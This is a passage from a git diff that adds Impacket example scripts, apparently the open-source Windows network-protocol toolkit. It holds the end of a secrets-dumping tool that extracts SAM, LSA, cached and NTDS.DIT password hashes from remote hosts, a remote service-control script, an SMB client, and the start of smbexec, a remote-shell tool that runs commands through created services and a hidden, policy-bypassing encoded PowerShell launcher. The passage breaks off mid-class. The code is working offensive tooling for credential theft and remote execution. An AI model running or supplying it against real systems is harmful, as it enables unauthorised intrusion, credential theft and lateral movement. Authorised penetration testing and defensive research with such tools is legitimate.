SAMFileName = self.__remoteOps.saveSAM() + else: + SAMFileName = self.__samHive + + self.__SAMHashes = SAMHashes(SAMFileName, bootKey, isRemote = self.__isRemote) + self.__SAMHashes.dump() + if self.__outputFileName is not None: + self.__SAMHashes.export(self.__outputFileName) + except Exception as e: + logging.error('SAM hashes extraction failed: %s' % str(e)) + + try: + if self.__isRemote is True: + SECURITYFileName = self.__remoteOps.saveSECURITY() + else: + SECURITYFileName = self.__securityHive + + self.__LSASecrets = LSASecrets(SECURITYFileName, bootKey, self.__remoteOps, + isRemote=self.__isRemote, history=self.__history) + self.__LSASecrets.dumpCachedHashes() + if self.__outputFileName is not None: + self.__LSASecrets.exportCached(self.__outputFileName) + self.__LSASecrets.dumpSecrets() + if self.__outputFileName is not None: + self.__LSASecrets.exportSecrets(self.__outputFileName) + except Exception as e: + if logging.getLogger().level == logging.DEBUG: + import traceback + traceback.print_exc() + logging.error('LSA hashes extraction failed: %s' % str(e)) + + # NTDS Extraction we can try regardless of RemoteOperations failing. It might still work + if self.__isRemote is True: + if self.__useVSSMethod and self.__remoteOps is not None and self.__remoteOps.getRRP() is not None: + NTDSFileName = self.__remoteOps.saveNTDS() + else: + NTDSFileName = None + else: + NTDSFileName = self.__ntdsFile + + self.__NTDSHashes = NTDSHashes(NTDSFileName, bootKey, isRemote=self.__isRemote, history=self.__history, + noLMHash=self.__noLMHash, remoteOps=self.__remoteOps, + useVSSMethod=self.__useVSSMethod, justNTLM=self.__justDCNTLM, + pwdLastSet=self.__pwdLastSet, resumeSession=self.__resumeFileName, + outputFileName=self.__outputFileName, justUser=self.__justUser, + printUserStatus= self.__printUserStatus) + try: + self.__NTDSHashes.dump() + except Exception as e: + if logging.getLogger().level == logging.DEBUG: + import traceback + traceback.print_exc() + if str(e).find('ERROR_DS_DRA_BAD_DN') >= 0: + # We don't store the resume file if this error happened, since this error is related to lack + # of enough privileges to access DRSUAPI. + resumeFile = self.__NTDSHashes.getResumeSessionFile() + if resumeFile is not None: + os.unlink(resumeFile) + logging.error(e) + if self.__justUser and str(e).find("ERROR_DS_NAME_ERROR_NOT_UNIQUE") >=0: + logging.info("You just got that error because there might be some duplicates of the same name. " + "Try specifying the domain name for the user as well. It is important to specify it " + "in the form of NetBIOS domain name/user (e.g. contoso/Administratror).") + elif self.__useVSSMethod is False: + logging.info('Something went wrong with the DRSUAPI approach. Try again with -use-vss parameter') + self.cleanup() + except (Exception, KeyboardInterrupt) as e: + if logging.getLogger().level == logging.DEBUG: + import traceback + traceback.print_exc() + logging.error(e) + if self.__NTDSHashes is not None: + if isinstance(e, KeyboardInterrupt): + while True: + answer = input("Delete resume session file? [y/N] ") + if answer.upper() == '': + answer = 'N' + break + elif answer.upper() == 'Y': + answer = 'Y' + break + elif answer.upper() == 'N': + answer = 'N' + break + if answer == 'Y': + resumeFile = self.__NTDSHashes.getResumeSessionFile() + if resumeFile is not None: + os.unlink(resumeFile) + try: + self.cleanup() + except: + pass + + def cleanup(self): + logging.info('Cleaning up... ') + if self.__remoteOps: + self.__remoteOps.finish() + if self.__SAMHashes: + self.__SAMHashes.finish() + if self.__LSASecrets: + self.__LSASecrets.finish() + if self.__NTDSHashes: + self.__NTDSHashes.finish() + if self.__KeyListSecrets: + self.__KeyListSecrets.finish() + + +# Process command-line arguments. +if __name__ == '__main__': + # Explicitly changing the stdout encoding format + if sys.stdout.encoding is None: + # Output is redirected to a file + sys.stdout = codecs.getwriter('utf8')(sys.stdout) + + print(version.BANNER) + + parser = argparse.ArgumentParser(add_help = True, description = "Performs various techniques to dump secrets from " + "the remote machine without executing any agent there.") + + parser.add_argument('target', action='store', help='[[domain/]username[:password]@] or LOCAL' + ' (if you want to parse local files)') + parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output') + parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') + parser.add_argument('-system', action='store', help='SYSTEM hive to parse') + parser.add_argument('-bootkey', action='store', help='bootkey for SYSTEM hive') + parser.add_argument('-security', action='store', help='SECURITY hive to parse') + parser.add_argument('-sam', action='store', help='SAM hive to parse') + parser.add_argument('-ntds', action='store', help='NTDS.DIT file to parse') + parser.add_argument('-resumefile', action='store', help='resume file name to resume NTDS.DIT session dump (only ' + 'available to DRSUAPI approach). This file will also be used to keep updating the session\'s ' + 'state') + parser.add_argument('-outputfile', action='store', + help='base output filename. Extensions will be added for sam, secrets, cached and ntds') + parser.add_argument('-use-vss', action='store_true', default=False, + help='Use the VSS method instead of default DRSUAPI') + parser.add_argument('-rodcNo', action='store', type=int, help='Number of the RODC krbtgt account (only avaiable for Kerb-Key-List approach)') + parser.add_argument('-rodcKey', action='store', help='AES key of the Read Only Domain Controller (only avaiable for Kerb-Key-List approach)') + parser.add_argument('-use-keylist', action='store_true', default=False, + help='Use the Kerb-Key-List method instead of default DRSUAPI') + parser.add_argument('-exec-method', choices=['smbexec', 'wmiexec', 'mmcexec'], nargs='?', default='smbexec', help='Remote exec ' + 'method to use at target (only when using -use-vss). Default: smbexec') + + group = parser.add_argument_group('display options') + group.add_argument('-just-dc-user', action='store', metavar='USERNAME', + help='Extract only NTDS.DIT data for the user specified. Only available for DRSUAPI approach. ' + 'Implies also -just-dc switch') + group.add_argument('-just-dc', action='store_true', default=False, + help='Extract only NTDS.DIT data (NTLM hashes and Kerberos keys)') + group.add_argument('-just-dc-ntlm', action='store_true', default=False, + help='Extract only NTDS.DIT data (NTLM hashes only)') + group.add_argument('-pwd-last-set', action='store_true', default=False, + help='Shows pwdLastSet attribute for each NTDS.DIT account. Doesn\'t apply to -outputfile data') + group.add_argument('-user-status', action='store_true', default=False, + help='Display whether or not the user is disabled') + group.add_argument('-history', action='store_true', help='Dump password history, and LSA secrets OldVal') + + group = parser.add_argument_group('authentication') + group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') + group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)') + group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file ' + '(KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use' + ' the ones specified in the command line') + group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication' + ' (128 or 256 bits)') + group.add_argument('-keytab', action="store", help='Read keys for SPN from keytab file') + + group = parser.add_argument_group('connection') + group.add_argument('-dc-ip', action='store',metavar = "ip address", help='IP Address of the domain controller. If ' + 'ommited it use the domain part (FQDN) specified in the target parameter') + group.add_argument('-target-ip', action='store', metavar="ip address", + help='IP Address of the target machine. If omitted it will use whatever was specified as target. ' + 'This is useful when target is the NetBIOS name and you cannot resolve it') + + if len(sys.argv)==1: + parser.print_help() + sys.exit(1) + + options = parser.parse_args() + + # Init the example's logger theme + logger.init(options.ts) + + if options.debug is True: + logging.getLogger().setLevel(logging.DEBUG) + # Print the Library's installation path + logging.debug(version.getInstallationPath()) + else: + logging.getLogger().setLevel(logging.INFO) + + domain, username, password, remoteName = parse_target(options.target) + + if options.just_dc_user is not None: + if options.use_vss is True: + logging.error('-just-dc-user switch is not supported in VSS mode') + sys.exit(1) + elif options.resumefile is not None: + logging.error('resuming a previous NTDS.DIT dump session not compatible with -just-dc-user switch') + sys.exit(1) + elif remoteName.upper() == 'LOCAL' and username == '': + logging.error('-just-dc-user not compatible in LOCAL mode') + sys.exit(1) + else: + # Having this switch on implies not asking for anything else. + options.just_dc = True + + if options.use_vss is True and options.resumefile is not None: + logging.error('resuming a previous NTDS.DIT dump session is not supported in VSS mode') + sys.exit(1) + + if options.use_keylist is True and (options.rodcNo is None or options.rodcKey is None): + logging.error('Both the RODC ID number and the RODC key are required for the Kerb-Key-List approach') + sys.exit(1) + + if remoteName.upper() == 'LOCAL' and username == '' and options.resumefile is not None: + logging.error('resuming a previous NTDS.DIT dump session is not supported in LOCAL mode') + sys.exit(1) + + if remoteName.upper() == 'LOCAL' and username == '': + if options.system is None and options.bootkey is None: + logging.error('Either the SYSTEM hive or bootkey is required for local parsing, check help') + sys.exit(1) + else: + + if options.target_ip is None: + options.target_ip = remoteName + + if domain is None: + domain = '' + + if options.keytab is not None: + Keytab.loadKeysFromKeytab(options.keytab, username, domain, options) + options.k = True + + if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None: + from getpass import getpass + + password = getpass("Password:") + + if options.aesKey is not None: + options.k = True + + dumper = DumpSecrets(remoteName, username, password, domain, options) + try: + dumper.dump() + except Exception as e: + if logging.getLogger().level == logging.DEBUG: + import traceback + traceback.print_exc() + logging.error(e) diff --git a/examples/services.py b/examples/services.py new file mode 100644 index 0000000..f3e658a --- /dev/null +++ b/examples/services.py @@ -0,0 +1,361 @@ +#!/usr/bin/env python +# Impacket - Collection of Python classes for working with network protocols. +# +# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +# Description: +# [MS-SCMR] services common functions for manipulating services +# +# Author: +# Alberto Solino (@agsolino) +# +# Reference for: +# DCE/RPC. +# +# TODO: +# [ ] Check errors +# + +from __future__ import division +from __future__ import print_function +import sys +import argparse +import logging +import codecs + +from impacket.examples import logger +from impacket.examples.utils import parse_target +from impacket import version +from impacket.dcerpc.v5 import transport, scmr +from impacket.dcerpc.v5.ndr import NULL +from impacket.crypto import encryptSecret + + +class SVCCTL: + + def __init__(self, username, password, domain, options, port=445): + self.__username = username + self.__password = password + self.__options = options + self.__port = port + self.__action = options.action.upper() + self.__domain = domain + self.__lmhash = '' + self.__nthash = '' + self.__aesKey = options.aesKey + self.__doKerberos = options.k + self.__kdcHost = options.dc_ip + + if options.hashes is not None: + self.__lmhash, self.__nthash = options.hashes.split(':') + + def run(self, remoteName, remoteHost): + + stringbinding = r'ncacn_np:%s[\pipe\svcctl]' % remoteName + logging.debug('StringBinding %s'%stringbinding) + rpctransport = transport.DCERPCTransportFactory(stringbinding) + rpctransport.set_dport(self.__port) + rpctransport.setRemoteHost(remoteHost) + if hasattr(rpctransport, 'set_credentials'): + # This method exists only for selected protocol sequences. + rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey) + + rpctransport.set_kerberos(self.__doKerberos, self.__kdcHost) + self.doStuff(rpctransport) + + def doStuff(self, rpctransport): + dce = rpctransport.get_dce_rpc() + #dce.set_credentials(self.__username, self.__password) + dce.connect() + #dce.set_max_fragment_size(1) + #dce.set_auth_level(ntlm.NTLM_AUTH_PKT_PRIVACY) + #dce.set_auth_level(ntlm.NTLM_AUTH_PKT_INTEGRITY) + dce.bind(scmr.MSRPC_UUID_SCMR) + #rpc = svcctl.DCERPCSvcCtl(dce) + rpc = dce + ans = scmr.hROpenSCManagerW(rpc) + scManagerHandle = ans['lpScHandle'] + if self.__action != 'LIST' and self.__action != 'CREATE': + ans = scmr.hROpenServiceW(rpc, scManagerHandle, self.__options.name+'\x00') + serviceHandle = ans['lpServiceHandle'] + + if self.__action == 'START': + logging.info("Starting service %s" % self.__options.name) + scmr.hRStartServiceW(rpc, serviceHandle) + scmr.hRCloseServiceHandle(rpc, serviceHandle) + elif self.__action == 'STOP': + logging.info("Stopping service %s" % self.__options.name) + scmr.hRControlService(rpc, serviceHandle, scmr.SERVICE_CONTROL_STOP) + scmr.hRCloseServiceHandle(rpc, serviceHandle) + elif self.__action == 'DELETE': + logging.info("Deleting service %s" % self.__options.name) + scmr.hRDeleteService(rpc, serviceHandle) + scmr.hRCloseServiceHandle(rpc, serviceHandle) + elif self.__action == 'CONFIG': + logging.info("Querying service config for %s" % self.__options.name) + resp = scmr.hRQueryServiceConfigW(rpc, serviceHandle) + print("TYPE : %2d - " % resp['lpServiceConfig']['dwServiceType'], end=' ') + if resp['lpServiceConfig']['dwServiceType'] & 0x1: + print("SERVICE_KERNEL_DRIVER ", end=' ') + if resp['lpServiceConfig']['dwServiceType'] & 0x2: + print("SERVICE_FILE_SYSTEM_DRIVER ", end=' ') + if resp['lpServiceConfig']['dwServiceType'] & 0x10: + print("SERVICE_WIN32_OWN_PROCESS ", end=' ') + if resp['lpServiceConfig']['dwServiceType'] & 0x20: + print("SERVICE_WIN32_SHARE_PROCESS ", end=' ') + if resp['lpServiceConfig']['dwServiceType'] & 0x100: + print("SERVICE_INTERACTIVE_PROCESS ", end=' ') + print("") + print("START_TYPE : %2d - " % resp['lpServiceConfig']['dwStartType'], end=' ') + if resp['lpServiceConfig']['dwStartType'] == 0x0: + print("BOOT START") + elif resp['lpServiceConfig']['dwStartType'] == 0x1: + print("SYSTEM START") + elif resp['lpServiceConfig']['dwStartType'] == 0x2: + print("AUTO START") + elif resp['lpServiceConfig']['dwStartType'] == 0x3: + print("DEMAND START") + elif resp['lpServiceConfig']['dwStartType'] == 0x4: + print("DISABLED") + else: + print("UNKNOWN") + + print("ERROR_CONTROL : %2d - " % resp['lpServiceConfig']['dwErrorControl'], end=' ') + if resp['lpServiceConfig']['dwErrorControl'] == 0x0: + print("IGNORE") + elif resp['lpServiceConfig']['dwErrorControl'] == 0x1: + print("NORMAL") + elif resp['lpServiceConfig']['dwErrorControl'] == 0x2: + print("SEVERE") + elif resp['lpServiceConfig']['dwErrorControl'] == 0x3: + print("CRITICAL") + else: + print("UNKNOWN") + print("BINARY_PATH_NAME : %s" % resp['lpServiceConfig']['lpBinaryPathName'][:-1]) + print("LOAD_ORDER_GROUP : %s" % resp['lpServiceConfig']['lpLoadOrderGroup'][:-1]) + print("TAG : %d" % resp['lpServiceConfig']['dwTagId']) + print("DISPLAY_NAME : %s" % resp['lpServiceConfig']['lpDisplayName'][:-1]) + print("DEPENDENCIES : %s" % resp['lpServiceConfig']['lpDependencies'][:-1]) + print("SERVICE_START_NAME: %s" % resp['lpServiceConfig']['lpServiceStartName'][:-1]) + elif self.__action == 'STATUS': + print("Querying status for %s" % self.__options.name) + resp = scmr.hRQueryServiceStatus(rpc, serviceHandle) + print("%30s - " % self.__options.name, end=' ') + state = resp['lpServiceStatus']['dwCurrentState'] + if state == scmr.SERVICE_CONTINUE_PENDING: + print("CONTINUE PENDING") + elif state == scmr.SERVICE_PAUSE_PENDING: + print("PAUSE PENDING") + elif state == scmr.SERVICE_PAUSED: + print("PAUSED") + elif state == scmr.SERVICE_RUNNING: + print("RUNNING") + elif state == scmr.SERVICE_START_PENDING: + print("START PENDING") + elif state == scmr.SERVICE_STOP_PENDING: + print("STOP PENDING") + elif state == scmr.SERVICE_STOPPED: + print("STOPPED") + else: + print("UNKNOWN") + elif self.__action == 'LIST': + logging.info("Listing services available on target") + #resp = rpc.EnumServicesStatusW(scManagerHandle, svcctl.SERVICE_WIN32_SHARE_PROCESS ) + #resp = rpc.EnumServicesStatusW(scManagerHandle, svcctl.SERVICE_WIN32_OWN_PROCESS ) + #resp = rpc.EnumServicesStatusW(scManagerHandle, serviceType = svcctl.SERVICE_FILE_SYSTEM_DRIVER, serviceState = svcctl.SERVICE_STATE_ALL ) + resp = scmr.hREnumServicesStatusW(rpc, scManagerHandle) + for i in range(len(resp)): + print("%30s - %70s - " % (resp[i]['lpServiceName'][:-1], resp[i]['lpDisplayName'][:-1]), end=' ') + state = resp[i]['ServiceStatus']['dwCurrentState'] + if state == scmr.SERVICE_CONTINUE_PENDING: + print("CONTINUE PENDING") + elif state == scmr.SERVICE_PAUSE_PENDING: + print("PAUSE PENDING") + elif state == scmr.SERVICE_PAUSED: + print("PAUSED") + elif state == scmr.SERVICE_RUNNING: + print("RUNNING") + elif state == scmr.SERVICE_START_PENDING: + print("START PENDING") + elif state == scmr.SERVICE_STOP_PENDING: + print("STOP PENDING") + elif state == scmr.SERVICE_STOPPED: + print("STOPPED") + else: + print("UNKNOWN") + print("Total Services: %d" % len(resp)) + elif self.__action == 'CREATE': + logging.info("Creating service %s" % self.__options.name) + scmr.hRCreateServiceW(rpc, scManagerHandle, self.__options.name + '\x00', self.__options.display + '\x00', + lpBinaryPathName=self.__options.path + '\x00') + elif self.__action == 'CHANGE': + logging.info("Changing service config for %s" % self.__options.name) + if self.__options.start_type is not None: + start_type = int(self.__options.start_type) + else: + start_type = scmr.SERVICE_NO_CHANGE + if self.__options.service_type is not None: + service_type = int(self.__options.service_type) + else: + service_type = scmr.SERVICE_NO_CHANGE + + if self.__options.display is not None: + display = self.__options.display + '\x00' + else: + display = NULL + + if self.__options.path is not None: + path = self.__options.path + '\x00' + else: + path = NULL + + if self.__options.start_name is not None: + start_name = self.__options.start_name + '\x00' + else: + start_name = NULL + + if self.__options.password is not None: + s = rpctransport.get_smb_connection() + key = s.getSessionKey() + try: + password = (self.__options.password+'\x00').encode('utf-16le') + except UnicodeDecodeError: + import sys + password = (self.__options.password+'\x00').decode(sys.getfilesystemencoding()).encode('utf-16le') + password = encryptSecret(key, password) + else: + password = NULL + + + #resp = scmr.hRChangeServiceConfigW(rpc, serviceHandle, display, path, service_type, start_type, start_name, password) + scmr.hRChangeServiceConfigW(rpc, serviceHandle, service_type, start_type, scmr.SERVICE_ERROR_IGNORE, path, + NULL, NULL, NULL, 0, start_name, password, 0, display) + scmr.hRCloseServiceHandle(rpc, serviceHandle) + else: + logging.error("Unknown action %s" % self.__action) + + scmr.hRCloseServiceHandle(rpc, scManagerHandle) + + dce.disconnect() + + return + + +# Process command-line arguments. +if __name__ == '__main__': + + # Init the example's logger theme + logger.init() + # Explicitly changing the stdout encoding format + if sys.stdout.encoding is None: + # Output is redirected to a file + sys.stdout = codecs.getwriter('utf8')(sys.stdout) + print(version.BANNER) + + parser = argparse.ArgumentParser(add_help = True, description = "Windows Service manipulation script.") + + parser.add_argument('target', action='store', help='[[domain/]username[:password]@]') + parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') + subparsers = parser.add_subparsers(help='actions', dest='action') + + # A start command + start_parser = subparsers.add_parser('start', help='starts the service') + start_parser.add_argument('-name', action='store', required=True, help='service name') + + # A stop command + stop_parser = subparsers.add_parser('stop', help='stops the service') + stop_parser.add_argument('-name', action='store', required=True, help='service name') + + # A delete command + delete_parser = subparsers.add_parser('delete', help='deletes the service') + delete_parser.add_argument('-name', action='store', required=True, help='service name') + + # A status command + status_parser = subparsers.add_parser('status', help='returns service status') + status_parser.add_argument('-name', action='store', required=True, help='service name') + + # A config command + config_parser = subparsers.add_parser('config', help='returns service configuration') + config_parser.add_argument('-name', action='store', required=True, help='service name') + + # A list command + list_parser = subparsers.add_parser('list', help='list available services') + + # A create command + create_parser = subparsers.add_parser('create', help='create a service') + create_parser.add_argument('-name', action='store', required=True, help='service name') + create_parser.add_argument('-display', action='store', required=True, help='display name') + create_parser.add_argument('-path', action='store', required=True, help='binary path') + + # A change command + create_parser = subparsers.add_parser('change', help='change a service configuration') + create_parser.add_argument('-name', action='store', required=True, help='service name') + create_parser.add_argument('-display', action='store', required=False, help='display name') + create_parser.add_argument('-path', action='store', required=False, help='binary path') + create_parser.add_argument('-service_type', action='store', required=False, help='service type') + create_parser.add_argument('-start_type', action='store', required=False, help='service start type') + create_parser.add_argument('-start_name', action='store', required=False, help='string that specifies the name of ' + 'the account under which the service should run') + create_parser.add_argument('-password', action='store', required=False, help='string that contains the password of ' + 'the account whose name was specified by the start_name parameter') + + group = parser.add_argument_group('authentication') + + group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') + group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)') + group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file ' + '(KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ' + 'ones specified in the command line') + group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication ' + '(128 or 256 bits)') + + group = parser.add_argument_group('connection') + + group.add_argument('-dc-ip', action='store',metavar = "ip address", help='IP Address of the domain controller. If ' + 'ommited it use the domain part (FQDN) specified in the target parameter') + group.add_argument('-target-ip', action='store', metavar="ip address", help='IP Address of the target machine. If ' + 'ommited it will use whatever was specified as target. This is useful when target is the NetBIOS ' + 'name and you cannot resolve it') + group.add_argument('-port', choices=['139', '445'], nargs='?', default='445', metavar="destination port", + help='Destination port to connect to SMB Server') + + if len(sys.argv)==1: + parser.print_help() + sys.exit(1) + + options = parser.parse_args() + + if options.debug is True: + logging.getLogger().setLevel(logging.DEBUG) + # Print the Library's installation path + logging.debug(version.getInstallationPath()) + else: + logging.getLogger().setLevel(logging.INFO) + + domain, username, password, remoteName = parse_target(options.target) + + if domain is None: + domain = '' + + if options.target_ip is None: + options.target_ip = remoteName + + if options.aesKey is not None: + options.k = True + + if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None: + from getpass import getpass + password = getpass("Password:") + + services = SVCCTL(username, password, domain, options, int(options.port)) + try: + services.run(remoteName, options.target_ip) + except Exception as e: + if logging.getLogger().level == logging.DEBUG: + import traceback + traceback.print_exc() + logging.error(str(e)) diff --git a/examples/smbclient.py b/examples/smbclient.py new file mode 100644 index 0000000..6e2b9d4 --- /dev/null +++ b/examples/smbclient.py @@ -0,0 +1,123 @@ +#!/usr/bin/env python +# Impacket - Collection of Python classes for working with network protocols. +# +# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +# Description: +# Mini shell using some of the SMB functionality of the library +# +# Author: +# Alberto Solino (@agsolino) +# +# Reference for: +# SMB DCE/RPC +# + +from __future__ import division +from __future__ import print_function +import sys +import logging +import argparse +from impacket.examples import logger +from impacket.examples.utils import parse_target +from impacket.examples.smbclient import MiniImpacketShell +from impacket import version +from impacket.smbconnection import SMBConnection + +def main(): + # Init the example's logger theme + logger.init() + print(version.BANNER) + parser = argparse.ArgumentParser(add_help = True, description = "SMB client implementation.") + + parser.add_argument('target', action='store', help='[[domain/]username[:password]@]') + parser.add_argument('-file', type=argparse.FileType('r'), help='input file with commands to execute in the mini shell') + parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') + + group = parser.add_argument_group('authentication') + + group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') + group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)') + group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file ' + '(KRB5CCNAME) based on target parameters. If valid credentials ' + 'cannot be found, it will use the ones specified in the command ' + 'line') + group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication ' + '(128 or 256 bits)') + + group = parser.add_argument_group('connection') + + group.add_argument('-dc-ip', action='store', metavar="ip address", + help='IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in ' + 'the target parameter') + group.add_argument('-target-ip', action='store', metavar="ip address", + help='IP Address of the target machine. If omitted it will use whatever was specified as target. ' + 'This is useful when target is the NetBIOS name and you cannot resolve it') + group.add_argument('-port', choices=['139', '445'], nargs='?', default='445', metavar="destination port", + help='Destination port to connect to SMB Server') + + if len(sys.argv)==1: + parser.print_help() + sys.exit(1) + + options = parser.parse_args() + + if options.debug is True: + logging.getLogger().setLevel(logging.DEBUG) + # Print the Library's installation path + logging.debug(version.getInstallationPath()) + else: + logging.getLogger().setLevel(logging.INFO) + + domain, username, password, address = parse_target(options.target) + + if options.target_ip is None: + options.target_ip = address + + if domain is None: + domain = '' + + if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None: + from getpass import getpass + password = getpass("Password:") + + if options.aesKey is not None: + options.k = True + + if options.hashes is not None: + lmhash, nthash = options.hashes.split(':') + else: + lmhash = '' + nthash = '' + + try: + smbClient = SMBConnection(address, options.target_ip, sess_port=int(options.port)) + if options.k is True: + smbClient.kerberosLogin(username, password, domain, lmhash, nthash, options.aesKey, options.dc_ip ) + else: + smbClient.login(username, password, domain, lmhash, nthash) + + shell = MiniImpacketShell(smbClient) + + if options.file is not None: + logging.info("Executing commands from %s" % options.file.name) + for line in options.file.readlines(): + if line[0] != '#': + print("# %s" % line, end=' ') + shell.onecmd(line) + else: + print(line, end=' ') + else: + shell.cmdloop() + except Exception as e: + if logging.getLogger().level == logging.DEBUG: + import traceback + traceback.print_exc() + logging.error(str(e)) + +if __name__ == "__main__": + main() diff --git a/examples/smbexec.py b/examples/smbexec.py new file mode 100644 index 0000000..03fa6ac --- /dev/null +++ b/examples/smbexec.py @@ -0,0 +1,404 @@ +#!/usr/bin/env python +# Impacket - Collection of Python classes for working with network protocols. +# +# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +# Description: +# A similar approach to psexec w/o using RemComSvc. The technique is described here +# https://www.optiv.com/blog/owning-computers-without-shell-access +# Our implementation goes one step further, instantiating a local smbserver to receive the +# output of the commands. This is useful in the situation where the target machine does NOT +# have a writeable share available. +# Keep in mind that, although this technique might help avoiding AVs, there are a lot of +# event logs generated and you can't expect executing tasks that will last long since Windows +# will kill the process since it's not responding as a Windows service. +# Certainly not a stealthy way. +# +# This script works in two ways: +# 1) share mode: you specify a share, and everything is done through that share. +# 2) server mode: if for any reason there's no share available, this script will launch a local +# SMB server, so the output of the commands executed are sent back by the target machine +# into a locally shared folder. Keep in mind you would need root access to bind to port 445 +# in the local machine. +# +# Author: +# beto (@agsolino) +# +# Reference for: +# DCE/RPC and SMB. +# + +from __future__ import division +from __future__ import print_function +import sys +import os +import cmd +import argparse +try: + import ConfigParser +except ImportError: + import configparser as ConfigParser +import logging +from threading import Thread +from base64 import b64encode + +from impacket.examples import logger +from impacket.examples.utils import parse_target +from impacket import version, smbserver +from impacket.dcerpc.v5 import transport, scmr +from impacket.krb5.keytab import Keytab + +OUTPUT_FILENAME = '__output' +BATCH_FILENAME = 'execute.bat' +SMBSERVER_DIR = '__tmp' +DUMMY_SHARE = 'TMP' +SERVICE_NAME = 'BTOBTO' +CODEC = sys.stdout.encoding + +class SMBServer(Thread): + def __init__(self): + Thread.__init__(self) + self.smb = None + + def cleanup_server(self): + logging.info('Cleaning up..') + try: + os.unlink(SMBSERVER_DIR + '/smb.log') + except OSError: + pass + os.rmdir(SMBSERVER_DIR) + + def run(self): + # Here we write a mini config for the server + smbConfig = ConfigParser.ConfigParser() + smbConfig.add_section('global') + smbConfig.set('global','server_name','server_name') + smbConfig.set('global','server_os','UNIX') + smbConfig.set('global','server_domain','WORKGROUP') + smbConfig.set('global','log_file',SMBSERVER_DIR + '/smb.log') + smbConfig.set('global','credentials_file','') + + # Let's add a dummy share + smbConfig.add_section(DUMMY_SHARE) + smbConfig.set(DUMMY_SHARE,'comment','') + smbConfig.set(DUMMY_SHARE,'read only','no') + smbConfig.set(DUMMY_SHARE,'share type','0') + smbConfig.set(DUMMY_SHARE,'path',SMBSERVER_DIR) + + # IPC always needed + smbConfig.add_section('IPC$') + smbConfig.set('IPC$','comment','') + smbConfig.set('IPC$','read only','yes') + smbConfig.set('IPC$','share type','3') + smbConfig.set('IPC$','path') + + self.smb = smbserver.SMBSERVER(('0.0.0.0',445), config_parser = smbConfig) + logging.info('Creating tmp directory') + try: + os.mkdir(SMBSERVER_DIR) + except Exception as e: + logging.critical(str(e)) + pass + logging.info('Setting up SMB Server') + self.smb.processConfigFile() + logging.info('Ready to listen...') + try: + self.smb.serve_forever() + except: + pass + + def stop(self): + self.cleanup_server() + self.smb.socket.close() + self.smb.server_close() + self._Thread__stop() + +class CMDEXEC: + def __init__(self, username='', password='', domain='', hashes=None, aesKey=None, doKerberos=None, + kdcHost=None, mode=None, share=None, port=445, serviceName=SERVICE_NAME, shell_type=None): + + self.__username = username + self.__password = password + self.__port = port + self.__serviceName = serviceName + self.__domain = domain + self.__lmhash = '' + self.__nthash = '' + self.__aesKey = aesKey + self.__doKerberos = doKerberos + self.__kdcHost = kdcHost + self.__share = share + self.__mode = mode + self.__shell_type = shell_type + self.shell = None + if hashes is not None: + self.__lmhash, self.__nthash = hashes.split(':') + + def run(self, remoteName, remoteHost): + stringbinding = r'ncacn_np:%s[\pipe\svcctl]' % remoteName + logging.debug('StringBinding %s'%stringbinding) + rpctransport = transport.DCERPCTransportFactory(stringbinding) + rpctransport.set_dport(self.__port) + rpctransport.setRemoteHost(remoteHost) + if hasattr(rpctransport, 'set_credentials'): + # This method exists only for selected protocol sequences. + rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, + self.__nthash, self.__aesKey) + rpctransport.set_kerberos(self.__doKerberos, self.__kdcHost) + + self.shell = None + try: + if self.__mode == 'SERVER': + serverThread = SMBServer() + serverThread.daemon = True + serverThread.start() + self.shell = RemoteShell(self.__share, rpctransport, self.__mode, self.__serviceName, self.__shell_type) + self.shell.cmdloop() + if self.__mode == 'SERVER': + serverThread.stop() + except (Exception, KeyboardInterrupt) as e: + if logging.getLogger().level == logging.DEBUG: + import traceback + traceback.print_exc() + logging.critical(str(e)) + if self.shell is not None: + self.shell.finish() + sys.stdout.flush() + sys.exit(1) + +class RemoteShell(cmd.Cmd): + def __init__(self, share, rpc, mode, serviceName, shell_type): + cmd.Cmd.__init__(self) + self.__share = share + self.__mode = mode + self.__output = '\\\\127.0.0.1\\' + self.__share + '\\' + OUTPUT_FILENAME + self.__batchFile = '%TEMP%\\' + BATCH_FILENAME + self.__outputBuffer = b'' + self.__command = '' + self.__shell = '%COMSPEC% /Q /c ' + self.__shell_type = shell_type + self.__pwsh = 'powershell.exe -NoP -NoL -sta -NonI -W Hidden -Exec Bypass -Enc ' + self.__serviceName = serviceName + self.__rpc = rpc + self.intro = '[!] Launching semi-interactive shell - Careful what you execute' + + 